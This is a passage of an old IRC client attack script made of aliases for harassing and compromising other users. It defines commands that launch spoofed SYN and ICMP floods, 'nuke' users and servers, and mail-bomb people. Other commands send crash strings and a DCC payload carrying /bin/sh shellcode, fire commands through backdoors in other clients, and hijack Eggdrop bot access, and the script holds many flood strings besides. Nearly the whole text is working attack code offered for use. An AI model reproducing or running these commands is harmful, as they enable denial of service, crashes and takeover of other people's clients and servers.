Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { ^exec $synflud_pgm $srchost $strip(#;~ $3)@$4 $synport $synnum secho %synflood% sent to $0 \($strip(#;~ $3)@$4\) } {/secho $0 not found.} } ^assign -srchost ^assign -synport ^assign -synnum } {/secho Usage: /SYNFLOOD <nick> <srchost> <port> <num> /secho Sends synflood from spoofed sourcehost at specified port. /secho Synflood.c compiled and root access required.} } alias echokill { ^assign pingamt $1 ^assign packsize $2 ^assign spoofs $3 if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { ^exec $echok_pgm -f -n $pingamt -s $packsize $spoofs $strip(#;~ $3)@$4 secho %icmp echokiller% sent to $0 \($strip(#;~ $3)@$4\) } {/secho $0 not found.} } ^assign -pingamt ^assign -spoofs ^assign -packsize } {/secho Usage: /ECHOKILL <nick> <numpings> <packetsize> <srchost> /secho Sends icmp pingflood to nick from a spoofed sourcehost. /secho Echok.c compiled and root access required.} } alias nickonly {^assign FUNCTION_RETURN $left($index(! $0) $0)} alias safestr {^assign FUNCTION_RETURN $strip(\;\$ $0-)} ### a few flood strings ^assign ECHOSTR ECHO sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!s ChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG!sChlOnG! ^assign BOOMSTR ECHO ¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥ BooM We ArE RoXiN jo0 AsS ¥¥¥¥¥¥¥¥¥¥¥¥¥ ¥¥¥¥¥¥¥¥¥¥¥¥¥¥ ¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥ EVAL ^assign CJUNKSTR $randcrap(4) ^assign ctcpstring FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER F INGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER FINGER ^assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a eval ^assign LCF              $decode([41\;5mSPaM!]\}$rand(99))                $decode($[41\;5mSPaM!]\}$rand(99))                $decode([41\;5mSPaM!]\}$rand(99))                $decode([41\;5mSPaM!]\}$rand(99))   ## Internal Telnet ^set hold_mode off ^purge telnet ^assign tnt_pgm telnet ^on ^exec_exit Telnet {^cill} ^assign telnet NO alias telnet { if ([$0]) { if (telnet != YES) { ^echo Creating telnet window to $0\. Type /telnet again to close. @ telnet = [YES] ^window new name Telnet level none ^exec -window -name Telnet $tnt_pgm $0- ^query %Telnet ^on ^exec "Telnet" {xecho -window Telnet $tclean($1-)} ^on ^exec_exit Telnet {^cill} }}{ if (telnet != NO) { ^exec -close %Telnet; wait -CMD @ telnet = [NO]}} {secho Usage: /TELNET <location> ([port]). Opens a windowed telnet session.} } alias cill {^window show Telnet kill;^co Telnet session ended\.} alias tclean {@ function_return = strip(  $0-)} ^purge shell ^assign shl_pgm tcsh ^on ^exec_exit Shell {^sill} ## Internal Shell alias shell { if (!shel) { @ shel = [YES] ^window new name Shell prompt $PWD:> level none ^exec -window -name Shell $shl_pgm $0- ^query %Shell;^wait -cmd ^shice ^on ^exec_prompt "Shell" window prompt $0- ^on ^exec_error "Shell" {xecho -window Shell $1-} ^on ^exec "Shell" {^window prompt $PWD:> ;xecho -window Shell $tclean($1-)} ^on ^exec_exit Shell {^sill} }{ ^exec -close %Shell;^wait -cmd purge shel} } alias sill {^window refnum Shell kill;^co Shell session ended\.} alias shice { echo Type /SHELL again to quit this session.. } alias randcrap { @ RCOUNTER = 1 while (RCOUNTER < [$0]) { @ RCOUNTER = RCOUNTER + 1 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP} } EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP} ^assign FUNCTION_RETURN $RCRAP ^assign -RCRAP } alias mbomb { if ([$0]) { userhost $0 -cmd if ([$4]!=[]) { secho %mail flash-bomb% sent to $0\($strip(~ $3)@$4\) ^exec $mflash_pgm netcom.com schlong@Bored.of.Reason $strip(~ $3)@$4 } {secho $0 not found.} } {secho Usage: /MBOMB <nick>. Sends a vt100 flash mailbomb.} } alias fakectcp if ([$0]) { /quote notice $0 :$1- secho %fake ctcp reply% sent to $0 }{ secho Usage: /FAKECTCP <nick> <type> <reply>. Fakes a CTCP reply. secho ie: /fakectcp oblio VERSION Lard v1.0 } alias fakezm { if ([$0]) { secho %zmodem bomb% sent to $0 nnotice $0 **B01000000$rand(99)fed$rand(9) }{ secho Usage: /FAKEZM <nick>. Sends a fake Zmodem startup string. }} alias floodzm { if ([$0]) { secho %zmodem-bomb flood% sent to $0 nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) nnotice $0 **B01000000$rand(99)fed$rand(9) }{ secho Usage: /FLOODZM <nick>. Sends a flood of Zmodem startup strings. }} alias vnrepeat { @ RCOUNT = 0 ^assign vncont TRUE while ((RCOUNT < [$0])&&([$vncont]==[TRUE])) { @ RCOUNT = RCOUNT + 1 /$1- wait ^on ^401 * {;^assign vncont FALSE} ^on ^407 * {;^assign vncont FALSE} wait } ^assign -RCOUNT ^assign -akcont ^on ^401 -* ^on $407 -* } on ^ctcp "% % *dcc send #/*" {secho Fake DCC request from $0\.} alias dcckill if ([$2]) { ^ctcp $0 DCC SEND $1 000111222333 1262 $2 secho %dcckill autoget bomb% sent to $0 }{secho Usage: /DCCKILL <nick> <filename> <size>. Sends DCC autoget bomb.} alias cbhack { if ([$0]) {/CTCP $0 HAQD ADD * $N 99 1 3} {/CTCP $C HAQD ADD * $N 99 1 3} secho %combot hack% sent to $0 } alias bugcheck { if ([$0]) { secho %bug/backdoor check% sent to $0 secho You will get notices back if any are found. EVAL ctcp $0 JUPE quote NOTICE $N :I am CTCP JUPE vulnerable. Type '/ctcp $0 JUPE ' to control my client. EVAL ctcp $0 GROK quote NOTICE $N :I am CTCP GROK vulnerable. Type '/ctcp $0 GROK ' to control my client. EVAL ctcp $0 CMD quote NOTICE $N :I am CTCP CMD vulnerable. Type '/ctcp $0 CMD ' to control my client. EVAL ctcp $0 ORD quote NOTICE $N :I am CTCP ORD vulnerable. Type '/ctcp $0 ORD ' to control my client. }{ /secho Usage: /BUGCHECK <nick>. Checks client for JUPE/GROK/CMD/ORD backdoors. }} alias obcrash { say %!?@?!% 1-2-1-2-1 %OB% secho %OB decryption crasher% sent to $C\. } alias virckill if ([$0]) { /ctcp $0 dcc tsend baboom.hah secho %virc killer% sent to $0 }{ secho Usage: /VIRCKILL <nick>. Works on ViRC users.} alias vaxkill if ([$0]) { /ctcp $0 action says hello  secho %vax killer% sent to $0 }{ secho Usage: /VAXKILL <nick>. Works on VAX 1.7.3 users.} alias licek if ([$0]) { //quote notice $0 :despite use /SERVER to reconuse /SERVER to conneuse /SERVER to reconuse /SERVER to conne secho %lice killer% sent to $0 }{ secho Usage: /LICEK <nick>. Attempts to kills using using LiCe. } alias faustk if ([$0]) { EVAL repeatcmd 17 quote PRIVMSG $0 :FDCC HELP secho %faust flooder% sent to $0 }{ secho Usage: /FAUSTK <nick>. Floods users running Faust.irc.} alias gargk if ([$0]) { quote PRIVMSG $0 :CLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFO EVAL repeatcmd 2 quote PRIVMSG $0 :GDCC SEND #1 quote PRIVMSG $0 :CLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFO EVAL repeatcmd 2 quote PRIVMSG $0 :GDCC SEND #1 quote PRIVMSG $0 :CLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFOCLIENTINFO secho %gargoyle flooder% sent to $0. You may get some replies. }{ secho Usage: /GARGK <nick>. Floods users running Gargoyle.irc.} alias infink if ([$0]) { quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY EVAL repeatcmd 1 quote PRIVMSG $0 :iDCC HELP quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY EVAL repeatcmd 1 quote PRIVMSG $0 :iDCC HELP quote PRIVMSG $0 :INFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITYINFINITY secho %infinity flooder% sent to $0. You may get some replies. }{ secho Usage: /INFINK <nick>. Floods users running Infinity.irc.} alias zog { if ([$0]) { ^ctcp $* DCC CHAT cow 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 1234 moo 1 secho %zog linux kill% sent to $0 }{ secho Usage: /ZOG <nick>. Attempts to crash users using Linux. }} alias libc { if ([$0]) { ^ctcp $0 DCC SEND feh 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ë$^‰^ 3Ò‰V‰V¸V45V4N ‹ÑÍ€3À@Í€è×ÿÿÿ/bin/sh 2048 2048 secho %libc linux kill% sent to $0 }{ secho Usage: /LIBC <nick>. Attempts to crash users using Linux. }} alias uzifuck if ([$0]) { ^msg $0 uzi $1- secho %ircuzi backdoor execute% sent to $0 }{secho Usage: /UZIFUCK <nick> <command>. Works on iRCUZi v.7bd only. } alias t5hack if ([$2]) { if ([$1]==[OP]) {//ctcp $0 ($op)$1} if ([$1]==[ME]) {//ctcp $0 ($op)$N} if ([$1]==[DEOP]) {//ctcp $0 ($deop)$1} if ([$1]==[K]) {//ctcp $0 ($k)$1} secho %tech5 backdoor execute% [command: $1\] sent to $0}{ secho Usage: /T5HACK <nick> <cmd>. Commands are: OP DEOP ME K } alias dsflood { if ([$0]) { ^ctcp $* DCC CHAT chat 3353362454 19 blah secho %dcc server flood% sent to $0 }{ secho Usage: /DSFLOOD <nick>. Sends DCC chat to connect user with epix.net. }} alias awaycmd { if ([$1]) { //msg $0 llamerzz | /$1- secho %log execute% [command: $1\] sent to $0}{ secho Usage: /AWAYCMD <nick> <cmd>. mIRCer must be set-away.}} alias invkill if ([$0]) { j ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ timer 3 //^topic #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ DiE mIRC BiTCH - schlOng timer 4 ^inv $0 timer 15 ^l ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ secho %invite bug kill% sent to $0 }{/secho Usage: /INVKILL <nick>. Works on mIRC v3.8 only.} alias statbug { if ([$0]) { ^assign -nickvar ^assign nickvar $N EVAL //nick status EVAL //nick STATUS EVAL //nick $nickvar secho %status bug% sent to $0 }{/secho Usage: /STATBUG <nick>. Screws up status window.}} alias mircdo if ([$1]) { //ctcp $0 DO $1- secho %backdoor execute% [command: $1\] sent to $0 }{/secho Usage: /MIRCDO <nick> <cmd>. Commands some backdoored mIRC scripts.} alias flashz { @ poopy = [$"Send flash or zmodem : "] @ face = [$"Send string to : "] @ where = [$"Send to : "] if ([$poopy]==[flash]) {if ([$face]==[msg]) {//msg $where $d.f} if ([$face]==[topic]) {//topic $d.f} if ([$face]==[channel]) {//msg $where $d.f} if ([$face]==[notice]) {//notice $where $d.f} if ([$face]==[ctcp]) {//ctcp $where $d.f} if ([$face]==[key]) {//mode $where +k $d.f}} if ([$poopy]==[zmodem]) {if ([$face]==[msg]) {//msg $where $d.z} if ([$face]==[topic]) {//topic $where $d.z} if ([$face]==[channel]) {//msg $where $d.z} if ([$face]==[notice]) {//notice $where $d.z} if ([$face]==[ctcp]) {//ctcp $where $d.z} if ([$face]==[key]) {//mode $where +k $d.z}} secho %$poopy string% was $face\'d to $where} # CToolZ flash (Orig. Shmoe) alias cflash { if ([$0]) { quote NOTICE $0 TESTIG !! secho %CtoolZ flash% sent to $0 }{ secho Usage: /CFLASH <nick>. Flashes CToolZ users. } } # CToolZ kill (Orig. Ananda) alias ckill { if ([$0]) { quote NOTICE $0 PING 1 2 secho %CtoolZ crash% sent to $0 }{ secho Usage: /CKILL <nick>. Crashes CToolZ users. } } # Eggdrop hack (Orig. Capone) alias ehack { if ([$0]) { /MSG $0 pass +omnfxp secho %Eggdrop 0.9tp hack% sent to $0 }{ secho Usage: /EHACK <nick>. Hacks you +m access on Eggdrop bots. } } alias repeatcmd { @ RCOUNT = 0 while (RCOUNT < [$0]) { @ RCOUNT = RCOUNT + 1 /$1- } ^assign -RCOUNT } alias nuke { if ([$0]) { ^on ^311 "*" {^assign ndomain $3} ^on ^312 "*" {^assign nserver $1} ^on ^319 "*" # ^whois $0 wait EVAL ^exec $nuke_pgm $ndomain $nserver unreach & EVAL ^exec $nuke_pgm $nserver $ndomain unreach & /secho %server nuke% sent to $0 at $ndomain on server $nserver\. ^on 311 - "*" ^on 312 - "*" ^on 319 - "*" ^assign -ndomain ^assign -nserver } {/secho Usage: /NUKE <nick>. Nukes user off their server. Root required.} } alias snuke { if ([$0]) { ^assign nserver1 $0 ^on ^364 "*" { if (rmatch($2 ?.*)) { secho Invalid server name $2. secho Enter a valid server name that matches that mask: ^assign nukeprompt $word(0 $"$2 is also: ") ^assign nserver2 $nukeprompt ^assign -nukeprompt } {^assign nserver2 $2} } //links $0 wait -CMD # if ([$nserver2] != []) { EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach & EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach & wait EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach & EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach & } {/secho Error: uplink to $nserver1\ not found.} secho %server nuke% to $nserver1\ and $nserver2\ sent. ^on 364 - "*" ^assign -nserver1 ^assign -nserver2 }{ /secho Usage: /SNUKE <server>. You cannot be on the same /secho server as the server you are trying to nuke. Doing so /secho will double nuke the server. (nuke.c and root required) }} alias multiflood { if ([$0]) { /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERVERSIONVERSIONVERSIONVERSIONVERSIONVERS IONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED /quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING secho %multi-flood% sent to $0 }{ secho Usage: /MULTIFLOOD <nick>. Sends a floods of various flood strings. }} alias verflood { if ([$0]) { quote PRIVMSG $0 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERVERSIONVERSIONVERSIONVERSIONVERSIONVERSI ONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION quote PRIVMSG $0 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERVERSIONVERSIONVERSIONVERSIONVERSIONVERSI ONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION quote PRIVMSG $0 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERVERSIONVERSIONVERSIONVERSIONVERSIONVERSI ONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION quote PRIVMSG $0 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERVERSIONVERSIONVERSIONVERSIONVERSIONVERSI ONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION quote PRIVMSG $0 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERVERSIONVERSIONVERSIONVERSIONVERSIONVERSI ONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION secho %version flood% sent to $0 }{ secho Usage: /VERFLOOD <nick>. Sends a flood of CTCP versions. }} alias pingflood { if ([$0]) { quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING secho %ping flood% sent to $0 }{ secho Usage: /PINGFLOOD <nick>. Sends a flood of CTCP pings. }} set input_prompt Now loading schlong! .o%&[S::::::::]&%o. # (Orig. asmodean) alias topicflood { if (!topflood) { ^on #-public 7 "* % *" {//topic $1 <$0> $2- $sch} ^on #-action 7 "* % *" {//topic $1 * $0 $2- $sch} @ topflood = 1 secho Topicflood activated. Type /topicflood again to deactivate.}{ ^on #-public 7 -"* % *" ^on #-action 7 -"* % *" @ topflood = 0 secho Topicflood deactivated.}} alias invflood { if ([$0]) { quote invite $0 #sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg wait quote invite $0 #sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg wait quote invite $0 #sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg wait quote invite $0 #sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg sChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNgsChLoNg wait secho %invite flood% sent to $0 }{ secho Usage: /invflood <nick>. Sends flood of invites. }} alias sedflood { if ([$0]) { quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED secho %sed encryption flood% sent to $0 }{ secho Usage: /SEDFLOOD <nick>. Sends a flood of SED encryption strings. }} alias tsunami { if ([$0]) { EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU secho %tsunami% sent to $0 }{ secho Usage: /TSUNAMI <nick>. Sends flood of tsunami strings. }} alias liceflood { if ([$0]) { EVAL repeatcmd 4 quote PRIVMSG $0 :$LCF secho %lice flood% sent to $0 }{ secho Usage: /LICEFLOOD <nick>. Sends flood of terminal garbage. }} alias ajbomb { if ([$0]) { if (rmatch($C #*)) {/EVAL ^assign OLDCHAN $C} { secho You aren't on a channel, so you'll be on #text ^assign OLDCHAN #text } if ([$1]) {^assign BOMBCHAN $1} {^assign BOMBCHAN #$randcrap(8)} //join $BOMBCHAN wait //channel $OLDCHAN ^assign -OLDCHAN EVAL ^on -join "$0 $BOMBCHAN" { //mode $1 +k #8[?3\;5h\(0 //leave $1 EVAL ^on join - "$0 $1" } //invite $0 $BOMBCHAN secho %autojoin bomb% sent to $0 ^assign -BOMBCHAN }{ secho Usage: /AJBOMB <nick>. Invites user to keybombed channel. }} alias ctcpflood { if ([$0]) { repeatcmd 18 ctcp $0 CLIENTINFOCLIENTINFO secho %ctcp clientinfo flood% sent to $0 }{ secho Usage: /CTCPFLOOD <nick>. Sends flood of CTCP clientinfo strings. }} alias unf { @ a.nick = [$N] @ nick.count = 0 @ total.times = [$0] @ d.nick.1 = [$toupper($N)] while (nick.count < 